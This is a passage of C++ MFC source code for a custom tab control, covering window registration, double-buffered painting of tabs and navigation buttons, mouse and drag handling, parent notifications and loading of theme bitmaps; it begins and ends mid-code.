m_nPrevState(BNST_INVISIBLE),
m_nNextState(BNST_INVISIBLE),
m_nFirstState(BNST_INVISIBLE),
m_nLastState(BNST_INVISIBLE),
m_nCloseState(BNST_INVISIBLE),
m_nItemSelected(-1),
m_nItemNdxOffset(0),
m_dwLastRepeatTime(0),
m_hBmpBkLeftSpin(NULL),
m_hBmpBkRightSpin(NULL),
m_hCursorMove(NULL),
m_hCursorCopy(NULL),
m_nItemDragDest(0)
{
RegisterWindowClass();
SetControlFont(GetDefaultFont());
m_bmpGlyphsMono.CreateBitmap(48,7,1,1,m_bBitsGlyphs);
}
// Register the window class if it has not already been registered.
BOOL CCustomTabCtrl::RegisterWindowClass()
{
WNDCLASS wndcls;
HINSTANCE hInst = AfxGetInstanceHandle();
if (!(::GetClassInfo(hInst, CustomTabCtrl_CLASSNAME, &wndcls)))
{
wndcls.style = CS_DBLCLKS | CS_HREDRAW | CS_VREDRAW;
wndcls.lpfnWndProc = ::DefWindowProc;
wndcls.cbClsExtra = wndcls.cbWndExtra = 0;
wndcls.hInstance = hInst;
wndcls.hIcon = NULL;
wndcls.hCursor = AfxGetApp()->LoadStandardCursor(IDC_ARROW);
wndcls.hbrBackground = (HBRUSH) (COLOR_3DFACE + 1);
wndcls.lpszMenuName = NULL;
wndcls.lpszClassName = CustomTabCtrl_CLASSNAME;
if (!AfxRegisterClass(&wndcls))
{
AfxThrowResourceException();
return FALSE;
}
}
return TRUE;
}
CCustomTabCtrl::~CCustomTabCtrl()
{
for(int i=0; i< m_aItems.GetSize(); i++)
delete m_aItems[i];
m_aItems.RemoveAll();
::DeleteObject(m_hBmpBkLeftSpin);
m_hBmpBkLeftSpin = NULL;
::DeleteObject(m_hBmpBkRightSpin);
m_hBmpBkRightSpin = NULL;
::DestroyCursor(m_hCursorMove);
m_hCursorMove = NULL;
::DestroyCursor(m_hCursorCopy);
m_hCursorCopy = NULL;
}
BEGIN_MESSAGE_MAP(CCustomTabCtrl, CWnd)
//{{AFX_MSG_MAP(CCustomTabCtrl)
ON_WM_ERASEBKGND()
ON_WM_LBUTTONDOWN()
ON_WM_RBUTTONDOWN()
ON_WM_LBUTTONUP()
ON_MESSAGE(WM_MOUSELEAVE,OnMouseLeave)
ON_MESSAGE(THM_WM_THEMECHANGED,OnThemeChanged)
ON_WM_MOUSEMOVE()
ON_WM_PAINT()
ON_WM_SIZE()
ON_WM_LBUTTONDBLCLK()
ON_WM_TIMER()
ON_EN_UPDATE(CTCID_EDITCTRL, OnUpdateEdit)
ON_WM_RBUTTONDBLCLK()
//}}AFX_MSG_MAP
ON_MESSAGE(WM_SIZEPARENT, OnSizeParent)
END_MESSAGE_MAP()
// CCustomTabCtrl message handlers
BOOL CCustomTabCtrl::Create(UINT dwStyle, const CRect & rect, CWnd * pParentWnd, UINT nID)
{
return CWnd::Create(CustomTabCtrl_CLASSNAME, _T(""), dwStyle, rect, pParentWnd, nID);
}
BOOL CCustomTabCtrl::OnEraseBkgnd(CDC* /*pDC*/)
{
return TRUE;
}
void CCustomTabCtrl::OnPaint()
{
CPaintDC dc(this);
if(!m_hBmpBkLeftSpin)
{
m_rgbGlyph[0] = GetSysColor(COLOR_BTNTEXT);
m_rgbGlyph[1] = GetSysColor(COLOR_BTNTEXT);
m_rgbGlyph[2] = GetSysColor(COLOR_BTNTEXT);
m_rgbGlyph[3] = GetSysColor(COLOR_BTNTEXT);
}
CRect rCl;
GetClientRect(&rCl);
if(IsVertical())
rCl.SetRect(0,0,rCl.Height(),rCl.Width());
CPen blackPen(PS_SOLID, 1, GetSysColor(COLOR_BTNTEXT));
CDC dcMem;
CBitmap bmpMem;
CBitmap* pOldBmp=NULL;
if(dcMem.CreateCompatibleDC(&dc))
{
if(bmpMem.CreateCompatibleBitmap(&dc,rCl.Width(),rCl.Height()))
pOldBmp = dcMem.SelectObject(&bmpMem);
else
return;
}
else
return;
int nBtns = 0;
if(m_nCloseState)
nBtns++;
if(m_nPrevState)
nBtns += 2;
if(m_nFirstState)
nBtns += 2;
// clear background
dcMem.FillSolidRect(&rCl,GetSysColor(COLOR_BTNFACE));
BOOL fRTL = (BOOL)(GetExStyle()&WS_EX_LAYOUTRTL);
BOOL fAfter = (BOOL)GetStyle()&CTCS_BUTTONSAFTER;
BOOL fTop = (BOOL)GetStyle()&CTCS_TOP;
int nA = rCl.Height()-3;
CRect rAll;
if(fTop)
rAll.SetRect(0,0,nBtns*nA+3,rCl.Height()-1);
else
rAll.SetRect(0,1,nBtns*nA+3,rCl.Height());
if(nBtns==0)
rAll.SetRectEmpty();
int nCloseOffset = 0;
if(fAfter)
{
nCloseOffset = rCl.Width()-rAll.Width();
rAll.OffsetRect(nCloseOffset,0);
}
// draw tab items visible and not selected
for(int i=0; i<m_aItems.GetSize(); i++)
{
if(m_aItems[i]->m_bShape && !m_aItems[i]->m_fSelected)
{
if(m_aItems[i]->m_fHighlighted)
m_aItems[i]->Draw(dcMem,m_FontSelected,GetStyle()&CTCS_TOP,fRTL);
else
m_aItems[i]->Draw(dcMem,m_Font,GetStyle()&CTCS_TOP,fRTL);
}
}
// draw selected tab item
if(m_nItemSelected!=-1 && m_aItems[m_nItemSelected]->m_bShape)
m_aItems[m_nItemSelected]->Draw(dcMem,m_FontSelected,GetStyle()&CTCS_TOP,fRTL);
if(m_nCloseState || m_nPrevState)
{
CPen* pOldPen = dcMem.SelectObject(&blackPen);
dcMem.Rectangle(rAll);
dcMem.SelectObject(pOldPen);
}
// draw buttons
if(m_nCloseState)
{
BOOL fMirrored = TRUE;
if(fRTL&&fAfter || !fRTL&&!fAfter)
fMirrored = FALSE;
CRect rClose;
if(fAfter)
{
if(fTop)
rClose.SetRect(rCl.Width()-nA-1,1,rCl.Width()-1,rCl.Height()-2);
else
rClose.SetRect(rCl.Width()-nA-1,2,rCl.Width()-1,rCl.Height()-1);
}
else
{
nCloseOffset = nA;
if(fTop)
rClose.SetRect(1,1,nA+1,rCl.Height()-2);
else
rClose.SetRect(1,2,nA+1,rCl.Height()-1);
}
CPoint ptClose(rClose.left+(rClose.Width()-8)/2+rClose.Width()%2,rClose.top+(rClose.Height()-7)/2);
if(fMirrored && m_hBmpBkRightSpin)
DrawBk(dcMem,rClose,m_hBmpBkRightSpin,m_fIsRightImageHorLayout,m_mrgnRight,m_nCloseState-1);
else if(m_hBmpBkLeftSpin)
DrawBk(dcMem,rClose,m_hBmpBkLeftSpin,m_fIsLeftImageHorLayout,m_mrgnLeft,m_nCloseState-1);
else
{
if(m_nCloseState==BNST_PRESSED)
dcMem.DrawFrameControl(rClose,DFC_BUTTON,DFCS_BUTTONPUSH|DFCS_PUSHED);
else
dcMem.DrawFrameControl(rClose,DFC_BUTTON,DFCS_BUTTONPUSH);
}
if(fRTL)
DrawGlyph(dcMem,ptClose,1,m_nCloseState-1);
else
DrawGlyph(dcMem,ptClose,4,m_nCloseState-1);
}
if(m_nPrevState)
{
CRect rFirst,rPrev,rNext,rLast;
if(fTop)
{
if(nBtns<4)
{
rPrev.SetRect(nCloseOffset+1,1,nCloseOffset+nA+1,rCl.Height()-2);
rNext.SetRect(nCloseOffset+nA+2,1,nCloseOffset+2*nA+2,rCl.Height()-2);
}
else
{
rFirst.SetRect(nCloseOffset+1,1,nCloseOffset+nA+1,rCl.Height()-2);
rPrev.SetRect(nCloseOffset+nA+1,1,nCloseOffset+2*nA+1,rCl.Height()-2);
rNext.SetRect(nCloseOffset+2*nA+2,1,nCloseOffset+3*nA+2,rCl.Height()-2);
rLast.SetRect(nCloseOffset+3*nA+2,1,nCloseOffset+4*nA+2,rCl.Height()-2);
}
}
else
{
if(nBtns<4)
{
rPrev.SetRect(nCloseOffset+1,2,nCloseOffset+nA+1,rCl.Height()-1);
rNext.SetRect(nCloseOffset+nA+2,2,nCloseOffset+2*nA+2,rCl.Height()-1);
}
else
{
rFirst.SetRect(nCloseOffset+1,2,nCloseOffset+nA+1,rCl.Height()-1);
rPrev.SetRect(nCloseOffset+nA+1,2,nCloseOffset+2*nA+1,rCl.Height()-1);
rNext.SetRect(nCloseOffset+2*nA+2,2,nCloseOffset+3*nA+2,rCl.Height()-1);
rLast.SetRect(nCloseOffset+3*nA+2,2,nCloseOffset+4*nA+2,rCl.Height()-1);
}
}
if(nBtns>=4)
{
CPoint ptFirst(rFirst.left+(rFirst.Width()-8)/2,rFirst.top+(rFirst.Height()-7)/2);
if(fRTL && m_hBmpBkRightSpin)
DrawBk(dcMem,rFirst,m_hBmpBkRightSpin,m_fIsRightImageHorLayout,m_mrgnRight,m_nFirstState-1);
else if(m_hBmpBkLeftSpin)
DrawBk(dcMem,rFirst,m_hBmpBkLeftSpin,m_fIsLeftImageHorLayout,m_mrgnLeft,m_nFirstState-1);
else
{
if(m_nFirstState==BNST_PRESSED)
dcMem.DrawFrameControl(rFirst,DFC_BUTTON,DFCS_BUTTONPUSH|DFCS_PUSHED);
else
dcMem.DrawFrameControl(rFirst,DFC_BUTTON,DFCS_BUTTONPUSH);
}
if(fRTL)
DrawGlyph(dcMem,ptFirst,2,m_nFirstState-1);
else
DrawGlyph(dcMem,ptFirst,0,m_nFirstState-1);
CPoint ptLast(rLast.left+(rLast.Width()-8)/2,rLast.top+(rLast.Height()-7)/2);
if(fRTL && m_hBmpBkLeftSpin)
DrawBk(dcMem,rLast,m_hBmpBkLeftSpin,m_fIsLeftImageHorLayout,m_mrgnLeft,m_nLastState-1);
else if(m_hBmpBkRightSpin)
DrawBk(dcMem,rLast,m_hBmpBkRightSpin,m_fIsRightImageHorLayout,m_mrgnRight,m_nLastState-1);
else
{
if(m_nLastState==BNST_PRESSED)
dcMem.DrawFrameControl(rLast,DFC_BUTTON,DFCS_BUTTONPUSH|DFCS_PUSHED);
else
dcMem.DrawFrameControl(rLast,DFC_BUTTON,DFCS_BUTTONPUSH);
}
if(fRTL)
DrawGlyph(dcMem,ptLast,5,m_nLastState-1);
else
DrawGlyph(dcMem,ptLast,3,m_nLastState-1);
}
CPoint ptPrev(rPrev.left+(rPrev.Width()-8)/2,rPrev.top+(rPrev.Height()-7)/2);
if(fRTL && m_hBmpBkRightSpin)
DrawBk(dcMem,rPrev,m_hBmpBkRightSpin,m_fIsRightImageHorLayout,m_mrgnRight,m_nPrevState-1);
else if(m_hBmpBkLeftSpin)
DrawBk(dcMem,rPrev,m_hBmpBkLeftSpin,m_fIsLeftImageHorLayout,m_mrgnLeft,m_nPrevState-1);
else
{
if(m_nPrevState==BNST_PRESSED)
dcMem.DrawFrameControl(rPrev,DFC_BUTTON,DFCS_BUTTONPUSH|DFCS_PUSHED);
else
dcMem.DrawFrameControl(rPrev,DFC_BUTTON,DFCS_BUTTONPUSH);
}
if(fRTL)
DrawGlyph(dcMem,ptPrev,3,m_nPrevState-1);
else
DrawGlyph(dcMem,ptPrev,1,m_nPrevState-1);
CPoint ptNext(rNext.left+(rNext.Width()-8)/2,rNext.top+(rNext.Height()-7)/2);
if(fRTL && m_hBmpBkLeftSpin)
DrawBk(dcMem,rNext,m_hBmpBkLeftSpin,m_fIsLeftImageHorLayout,m_mrgnLeft,m_nNextState-1);
else if(m_hBmpBkRightSpin)
DrawBk(dcMem,rNext,m_hBmpBkRightSpin,m_fIsRightImageHorLayout,m_mrgnRight,m_nNextState-1);
else
{
rNext.left -= 1;
if(m_nNextState==BNST_PRESSED)
dcMem.DrawFrameControl(rNext,DFC_BUTTON,DFCS_BUTTONPUSH|DFCS_PUSHED);
else
dcMem.DrawFrameControl(rNext,DFC_BUTTON,DFCS_BUTTONPUSH);
}
if(fRTL)
DrawGlyph(dcMem,ptNext,4,m_nNextState-1);
else
DrawGlyph(dcMem,ptNext,2,m_nNextState-1);
}
// draw black lines
int nOffsetX = rAll.Width();
CPoint pts[4];
if(fAfter)
{
if(GetStyle()&CTCS_TOP)
{
if(m_nItemSelected==-1)
{
pts[0] = CPoint(0,rCl.bottom-2);
pts[1] = CPoint(0,rCl.bottom-2);
pts[2] = CPoint(0,rCl.bottom-2);
pts[3] = CPoint(rCl.right-nOffsetX,rCl.bottom-2);
}
else
{
if(m_aItems[m_nItemSelected]->m_bShape)
{
pts[0] = CPoint(0,rCl.bottom-2);
pts[1] = CPoint(m_aItems[m_nItemSelected]->m_rect.left,rCl.bottom-2);
pts[2] = CPoint(m_aItems[m_nItemSelected]->m_rect.right,rCl.bottom-2);
pts[3] = CPoint(rCl.right-nOffsetX,rCl.bottom-2);
}
else
{
pts[0] = CPoint(0,rCl.bottom-2);
pts[1] = CPoint(0,rCl.bottom-2);
pts[2] = CPoint(0,rCl.bottom-2);
pts[3] = CPoint(rCl.right-nOffsetX,rCl.bottom-2);
}
}
}
else
{
if(m_nItemSelected==-1)
{
pts[0] = CPoint(0,1);
pts[1] = CPoint(0,1);
pts[2] = CPoint(0,1);
pts[3] = CPoint(rCl.right-nOffsetX,1);
}
else
{
if(m_aItems[m_nItemSelected]->m_bShape)
{
pts[0] = CPoint(0,1);
pts[1] = CPoint(m_aItems[m_nItemSelected]->m_rect.left,1);
pts[2] = CPoint(m_aItems[m_nItemSelected]->m_rect.right,1);
pts[3] = CPoint(rCl.right-nOffsetX,1);
}
else
{
pts[0] = CPoint(0,1);
pts[1] = CPoint(0,1);
pts[2] = CPoint(0,1);
pts[3] = CPoint(rCl.right-nOffsetX,1);
}
}
}
}
else
{
if(GetStyle()&CTCS_TOP)
{
if(m_nItemSelected==-1)
{
pts[0] = CPoint(nOffsetX,rCl.bottom-2);
pts[1] = CPoint(nOffsetX,rCl.bottom-2);
pts[2] = CPoint(nOffsetX,rCl.bottom-2);
pts[3] = CPoint(rCl.right,rCl.bottom-2);
}
else
{
if(m_aItems[m_nItemSelected]->m_bShape)
{
pts[0] = CPoint(nOffsetX,rCl.bottom-2);
pts[1] = CPoint(m_aItems[m_nItemSelected]->m_rect.left,rCl.bottom-2);
pts[2] = CPoint(m_aItems[m_nItemSelected]->m_rect.right,rCl.bottom-2);
pts[3] = CPoint(rCl.right,rCl.bottom-2);
}
else
{
pts[0] = CPoint(nOffsetX,rCl.bottom-2);
pts[1] = CPoint(nOffsetX,rCl.bottom-2);
pts[2] = CPoint(nOffsetX,rCl.bottom-2);
pts[3] = CPoint(rCl.right,rCl.bottom-2);
}
}
}
else
{
if(m_nItemSelected==-1)
{
pts[0] = CPoint(nOffsetX,1);
pts[1] = CPoint(nOffsetX,1);
pts[2] = CPoint(nOffsetX,1);
pts[3] = CPoint(rCl.right,1);
}
else
{
if(m_aItems[m_nItemSelected]->m_bShape)
{
pts[0] = CPoint(nOffsetX,1);
pts[1] = CPoint(m_aItems[m_nItemSelected]->m_rect.left,1);
pts[2] = CPoint(m_aItems[m_nItemSelected]->m_rect.right,1);
pts[3] = CPoint(rCl.right,1);
}
else
{
pts[0] = CPoint(nOffsetX,1);
pts[1] = CPoint(nOffsetX,1);
pts[2] = CPoint(nOffsetX,1);
pts[3] = CPoint(rCl.right,1);
}
}
}
}
CPen* pOldPen = dcMem.SelectObject(&blackPen);
dcMem.MoveTo(pts[0]);
dcMem.LineTo(pts[1]);
dcMem.MoveTo(pts[2]);
dcMem.LineTo(pts[3]);
dcMem.SelectObject(pOldPen);
if(m_nButtonIDDown>=0 && (GetCursor()==m_hCursorMove || GetCursor()==m_hCursorCopy))
{
// Draw drag destination marker
CPen* pOldPen = dcMem.SelectObject(&blackPen);
int x;
if(m_nItemDragDest==m_aItems.GetSize())
x = m_aItems[m_nItemDragDest-1]->m_rectText.right + rCl.Height()/4-3;
else
x = m_aItems[m_nItemDragDest]->m_rectText.left - rCl.Height()/4-3;
if(x>=rCl.right-7)
x = rCl.right-7;
dcMem.MoveTo(x,1);
dcMem.LineTo(x+7,1);
dcMem.MoveTo(x+1,2);
dcMem.LineTo(x+6,2);
dcMem.MoveTo(x+2,3);
dcMem.LineTo(x+5,3);
dcMem.MoveTo(x+3,4);
dcMem.LineTo(x+4,4);
dcMem.SelectObject(pOldPen);
}
if(IsVertical())
{
POINT pts[3];
if(fRTL)
{
pts[0].x = -1;
pts[0].y = rCl.Width();
pts[1].x = -1;
pts[1].y = 0;
pts[2].x = rCl.Height()-1;
pts[2].y = rCl.Width();
::PlgBlt(dc.m_hDC,pts,dcMem.m_hDC,-1,0,rCl.Width(),rCl.Height(),NULL,0,0);
}
else
{
pts[0].x = 0;
pts[0].y = rCl.Width();
pts[1].x = 0;
pts[1].y = 0;
pts[2].x = rCl.Height();
pts[2].y = rCl.Width();
::PlgBlt(dc.m_hDC,pts,dcMem.m_hDC,0,0,rCl.Width(),rCl.Height(),NULL,0,0);
}
}
else
dc.BitBlt(rCl.left,rCl.top,rCl.Width(),rCl.Height(),&dcMem,rCl.left,rCl.top,SRCCOPY);
dcMem.SelectObject(pOldBmp);
}
void CCustomTabCtrl::OnSize(UINT nType, int cx, int cy)
{
CWnd::OnSize(nType, cx, cy);
if(cx && cy)
RecalcLayout(RECALC_RESIZED, m_nItemSelected);
}
LRESULT CCustomTabCtrl::OnSizeParent(WPARAM, LPARAM lParam)
{
AFX_SIZEPARENTPARAMS* pParams = reinterpret_cast<AFX_SIZEPARENTPARAMS*>(lParam);
CRect r;
GetWindowRect(r);
if(IsVertical())
{
if(GetStyle()&CTCS_TOP) // left
{
pParams->rect.left += r.Width();
MoveWindow(pParams->rect.left-r.Width(), pParams->rect.top, r.Width(), pParams->rect.bottom-pParams->rect.top, TRUE);
}
else // right
{
pParams->rect.right -= r.Width();
MoveWindow(pParams->rect.right, pParams->rect.top, r.Width(), pParams->rect.bottom-pParams->rect.top, TRUE);
}
}
else
{
if(GetStyle()&CTCS_TOP)
{
pParams->rect.top += r.Height();
MoveWindow(pParams->rect.left, pParams->rect.top-r.Height(), pParams->rect.right-pParams->rect.left, r.Height(), TRUE);
}
else
{
pParams->rect.bottom -= r.Height();
MoveWindow(pParams->rect.left, pParams->rect.bottom, pParams->rect.right-pParams->rect.left, r.Height(), TRUE);
}
}
return 0;
}
void CCustomTabCtrl::OnLButtonDown(UINT nFlags, CPoint point)
{
int nHitTest = HitTest(point);
NotifyParent(CTCN_CLICK,nHitTest,point);
ProcessLButtonDown(nHitTest,nFlags,point);
CWnd::OnLButtonDown(nFlags,point);
}
void CCustomTabCtrl::OnLButtonDblClk(UINT nFlags, CPoint point)
{
int nHTRet = ProcessLButtonDown(HitTest(point),nFlags,point);
if(nHTRet>=0)
{
m_nButtonIDDown = CTCID_NOBUTTON;
if(nHTRet==HitTest(point))
EditLabel(nHTRet,TRUE);
}
NotifyParent(CTCN_DBLCLK,HitTest(point),point);
CWnd::OnLButtonDblClk(nFlags, point);
}
int CCustomTabCtrl::ProcessLButtonDown(int nHitTest, UINT nFlags, CPoint point)
{
SetCapture();
switch(nHitTest)
{
case CTCHT_NOWHERE:
m_nButtonIDDown = CTCID_NOBUTTON;
break;
case CTCHT_ONFIRSTBUTTON:
{
m_nButtonIDDown = CTCID_FIRSTBUTTON;
m_nFirstState = BNST_PRESSED;
RecalcLayout(RECALC_FIRST_PRESSED,m_nItemSelected);
Invalidate(FALSE);
m_dwLastRepeatTime = ::GetTickCount();
SetTimer(1,100,NULL);
}
break;
case CTCHT_ONPREVBUTTON:
{
m_nButtonIDDown = CTCID_PREVBUTTON;
m_nPrevState = BNST_PRESSED;
RecalcLayout(RECALC_PREV_PRESSED,m_nItemSelected);
Invalidate(FALSE);
m_dwLastRepeatTime = ::GetTickCount();
SetTimer(1,100,NULL);
}
break;
case CTCHT_ONNEXTBUTTON:
{
m_nButtonIDDown = CTCID_NEXTBUTTON;
m_nNextState = BNST_PRESSED;
RecalcLayout(RECALC_NEXT_PRESSED,m_nItemSelected);
Invalidate(FALSE);
m_dwLastRepeatTime = ::GetTickCount();
SetTimer(1,100,NULL);
}
break;
case CTCHT_ONLASTBUTTON:
{
m_nButtonIDDown = CTCID_LASTBUTTON;
m_nLastState = BNST_PRESSED;
RecalcLayout(RECALC_LAST_PRESSED,m_nItemSelected);
Invalidate(FALSE);
m_dwLastRepeatTime = ::GetTickCount();
SetTimer(1,100,NULL);
}
break;
case CTCHT_ONCLOSEBUTTON:
{
m_nButtonIDDown = CTCID_CLOSEBUTTON;
m_nCloseState = BNST_PRESSED;
RecalcLayout(RECALC_CLOSE_PRESSED,m_nItemSelected);
Invalidate(FALSE);
}
break;
default:
{
DWORD dwStyle = GetStyle();
if(((dwStyle&CTCS_DRAGMOVE) && !(nFlags&MK_CONTROL) && m_hCursorMove) ||
((dwStyle&CTCS_DRAGCOPY) && (nFlags&MK_CONTROL) && m_hCursorCopy))
{
m_nButtonIDDown = nHitTest;
m_nItemDragDest = CTCID_NOBUTTON;
SetTimer(2,300,NULL);
}
else
m_nButtonIDDown = CTCID_NOBUTTON;
if((GetStyle()&CTCS_MULTIHIGHLIGHT) && (nFlags&MK_CONTROL))
HighlightItem(nHitTest,TRUE,nFlags&MK_CONTROL);
else
{
BOOL bNotify = nHitTest!=m_nItemSelected;
SetCurSel(nHitTest,TRUE,nFlags&MK_CONTROL);
if(bNotify)
NotifyParent(CTCN_SELCHANGE,m_nItemSelected,point);
}
for(int i=0; i<m_aItems.GetSize();i++)
{
if(m_aItems[i]->m_fHighlightChanged)
NotifyParent(CTCN_HIGHLIGHTCHANGE,i,point);
}
}
break;
}
return nHitTest;
}
BOOL CCustomTabCtrl::NotifyParent(UINT code, int nItem, CPoint pt)
{
CTC_NMHDR nmh;
memset(&nmh,0,sizeof(CTC_NMHDR));
nmh.hdr.hwndFrom = GetSafeHwnd();
nmh.hdr.idFrom = GetDlgCtrlID();
nmh.hdr.code = code;
nmh.nItem = nItem;
nmh.ptHitTest = pt;
if(nItem>=0)
{
_tcscpy(nmh.pszText,m_aItems[nItem]->m_sText);
nmh.lParam = m_aItems[nItem]->m_lParam;
nmh.rItem = m_aItems[nItem]->m_rectText;
nmh.fSelected = m_aItems[nItem]->m_fSelected;
nmh.fHighlighted = m_aItems[nItem]->m_fHighlighted;
}
return (BOOL)GetParent()->SendMessage(WM_NOTIFY,GetDlgCtrlID(),(LPARAM)&nmh);
}
void CCustomTabCtrl::OnLButtonUp(UINT /*nFlags*/, CPoint /*point*/)
{
if(m_nPrevState || m_nNextState || m_nFirstState || m_nLastState || m_nCloseState)
{
if(m_nCloseState)
m_nCloseState = BNST_NORMAL;
if(m_nPrevState)
{
m_nPrevState = BNST_NORMAL;
m_nNextState = BNST_NORMAL;
}
if(m_nFirstState)
{
m_nFirstState = BNST_NORMAL;
m_nLastState = BNST_NORMAL;
}
Invalidate(FALSE);
KillTimer(1);
}
if(m_nButtonIDDown>=0)
{
if((GetCursor()==m_hCursorCopy) && (GetKeyState(VK_CONTROL)&0x8000))
CopyItem(m_nButtonIDDown,m_nItemDragDest, TRUE);
else if((GetCursor()==m_hCursorMove) && !(GetKeyState(VK_CONTROL)&0x8000))
MoveItem(m_nButtonIDDown,m_nItemDragDest, TRUE);
}
m_nButtonIDDown = CTCID_NOBUTTON;
m_nItemDragDest = CTCID_NOBUTTON;
ReleaseCapture();
}
void CCustomTabCtrl::OnMouseMove(UINT nFlags, CPoint point)
{
TRACKMOUSEEVENT trackmouseevent;
trackmouseevent.cbSize = sizeof(trackmouseevent);
trackmouseevent.dwFlags = TME_LEAVE;
trackmouseevent.hwndTrack = GetSafeHwnd();
trackmouseevent.dwHoverTime = 0;
_TrackMouseEvent(&trackmouseevent);
int nHitTest = HitTest(point);
if(m_nFirstState)
{
if(nHitTest==CTCHT_ONFIRSTBUTTON)
{
if(m_nButtonIDDown==CTCID_FIRSTBUTTON)
m_nFirstState = BNST_PRESSED;
else if(m_nButtonIDDown==CTCID_NOBUTTON && !(nFlags&MK_LBUTTON))
m_nFirstState = BNST_HOT;
else
m_nFirstState = BNST_NORMAL;
}
else
m_nFirstState = BNST_NORMAL;
Invalidate(FALSE);
}
if(m_nPrevState)
{
if(nHitTest==CTCHT_ONPREVBUTTON)
{
if(m_nButtonIDDown==CTCID_PREVBUTTON)
m_nPrevState = BNST_PRESSED;
else if(m_nButtonIDDown==CTCID_NOBUTTON && !(nFlags&MK_LBUTTON))
m_nPrevState = BNST_HOT;
else
m_nPrevState = BNST_NORMAL;
}
else
m_nPrevState = BNST_NORMAL;
Invalidate(FALSE);
}
if(m_nNextState)
{
if(nHitTest==CTCHT_ONNEXTBUTTON)
{
if(m_nButtonIDDown==CTCID_NEXTBUTTON)
m_nNextState = BNST_PRESSED;
else if(m_nButtonIDDown==CTCID_NOBUTTON && !(nFlags&MK_LBUTTON))
m_nNextState = BNST_HOT;
else
m_nNextState = BNST_NORMAL;
}
else
m_nNextState = BNST_NORMAL;
Invalidate(FALSE);
}
if(m_nLastState)
{
if(nHitTest==CTCHT_ONLASTBUTTON)
{
if(m_nButtonIDDown==CTCID_LASTBUTTON)
m_nLastState = BNST_PRESSED;
else if(m_nButtonIDDown==CTCID_NOBUTTON && !(nFlags&MK_LBUTTON))
m_nLastState = BNST_HOT;
else
m_nLastState = BNST_NORMAL;
}
else
m_nLastState = BNST_NORMAL;
Invalidate(FALSE);
}
if(m_nCloseState)
{
if(nHitTest==CTCHT_ONCLOSEBUTTON)
{
if(m_nButtonIDDown==CTCID_CLOSEBUTTON)
m_nCloseState = BNST_PRESSED;
else if(m_nButtonIDDown==CTCID_NOBUTTON && !(nFlags&MK_LBUTTON))
m_nCloseState = BNST_HOT;
else
m_nCloseState = BNST_NORMAL;
}
else
m_nCloseState = BNST_NORMAL;
Invalidate(FALSE);
}
if(m_nButtonIDDown>=0 && m_nItemDragDest>=0)
{
CRect rCl;
GetClientRect(&rCl);
int x = point.x;
if(IsVertical())
{
x = rCl.Height()-point.y;
rCl.SetRect(0,0,rCl.Height(),rCl.Width());
}
if(m_nItemDragDest>=m_aItems.GetSize())
m_nItemDragDest = m_aItems.GetSize()-1;
int x1 = m_aItems[m_nItemDragDest]->m_rectText.left - rCl.Height()/4;
int x2 = m_aItems[m_nItemDragDest]->m_rectText.right + rCl.Height()/4;
if(x>=rCl.right)
{
m_nItemDragDest++;
if(m_nItemDragDest>=m_aItems.GetSize())
RecalcLayout(RECALC_NEXT_PRESSED,m_aItems.GetSize()-1);
else
RecalcLayout(RECALC_NEXT_PRESSED,m_nItemDragDest);
Invalidate(FALSE);
}
else if(x>=x2)
{
m_nItemDragDest++;
if(m_nItemDragDest>=m_aItems.GetSize())
RecalcLayout(RECALC_ITEM_SELECTED,m_aItems.GetSize()-1);
else
RecalcLayout(RECALC_ITEM_SELECTED,m_nItemDragDest);
Invalidate(FALSE);
}
else if(x<x1)
{
if(m_nItemDragDest>0)
m_nItemDragDest--;
RecalcLayout(RECALC_ITEM_SELECTED,m_nItemDragDest);
Invalidate(FALSE);
}
}
}
LONG CCustomTabCtrl::OnMouseLeave(WPARAM /*wParam*/, LPARAM /*lParam*/)
{
if(m_nFirstState || m_nPrevState || m_nCloseState)
{
if(m_nCloseState)
m_nCloseState = BNST_NORMAL;
if(m_nPrevState)
{
m_nPrevState = BNST_NORMAL;
m_nNextState = BNST_NORMAL;
}
if(m_nFirstState)
{
m_nFirstState = BNST_NORMAL;
m_nLastState = BNST_NORMAL;
}
Invalidate(FALSE);
KillTimer(1);
}
return 0;
}
void CCustomTabCtrl::OnUpdateEdit()
{
if(m_ctrlEdit.m_hWnd)
{
m_ctrlEdit.GetWindowText(m_aItems[m_nItemSelected]->m_sText);
RecalcLayout(RECALC_EDIT_RESIZED,m_nItemSelected);
Invalidate(FALSE);
}
}
LONG CCustomTabCtrl::OnThemeChanged(WPARAM /*wParam*/, LPARAM /*lParam*/)
{
::DeleteObject(m_hBmpBkLeftSpin);
m_hBmpBkLeftSpin = NULL;
::DeleteObject(m_hBmpBkRightSpin);
m_hBmpBkRightSpin = NULL;
HBITMAP hBmpGlyph = NULL;
CDC dcGlyph;
dcGlyph.CreateCompatibleDC(NULL);
CBitmap* pOldBmpGlyph = NULL;
try
{
CThemeUtil tm;
if(!tm.OpenThemeData(m_hWnd, L"SPIN"))
AfxThrowUserException();
{
// left spin background
int nBkType;
if(!tm.GetThemeEnumValue(SPNP_DOWNHORZ,0,TMT_BGTYPE,&nBkType))
AfxThrowUserException();
if(nBkType!=BT_IMAGEFILE)
AfxThrowUserException();
int nImageCount;
if(!tm.GetThemeInt(SPNP_DOWNHORZ,0,TMT_IMAGECOUNT,&nImageCount))
AfxThrowUserException();
if(nImageCount!=4)
AfxThrowUserException();
WCHAR szSpinBkLeftBitmapFilename[MAX_PATH];
if(!tm.GetThemeFilename(SPNP_DOWNHORZ,0,TMT_IMAGEFILE,szSpinBkLeftBitmapFilename,MAX_PATH))
AfxThrowUserException();
m_hBmpBkLeftSpin = tm.LoadBitmap(szSpinBkLeftBitmapFilename);
if(!m_hBmpBkLeftSpin)
AfxThrowUserException();
int nLeftImageLayout;
if(!tm.GetThemeEnumValue(SPNP_DOWNHORZ,0,TMT_IMAGELAYOUT,&nLeftImageLayout))
AfxThrowUserException();
if(nLeftImageLayout==IL_VERTICAL)
m_fIsLeftImageHorLayout = FALSE;
else
m_fIsLeftImageHorLayout = TRUE;
if(!tm.GetThemeMargins(SPNP_DOWNHORZ,0,TMT_SIZINGMARGINS,&m_mrgnLeft))
AfxThrowUserException();
}
{
// right spin background
int nBkType;
if(!tm.GetThemeEnumValue(SPNP_UPHORZ,0,TMT_BGTYPE,&nBkType))
AfxThrowUserException();
if(nBkType!=BT_IMAGEFILE)
AfxThrowUserException();
int nImageCount;
if(!tm.GetThemeInt(SPNP_UPHORZ,0,TMT_IMAGECOUNT,&nImageCount))
AfxThrowUserException();
if(nImageCount!=4)
AfxThrowUserException();
WCHAR szSpinBkRightBitmapFilename[MAX_PATH];
if(!tm.GetThemeFilename(SPNP_UPHORZ,0,TMT_IMAGEFILE,szSpinBkRightBitmapFilename,MAX_PATH))
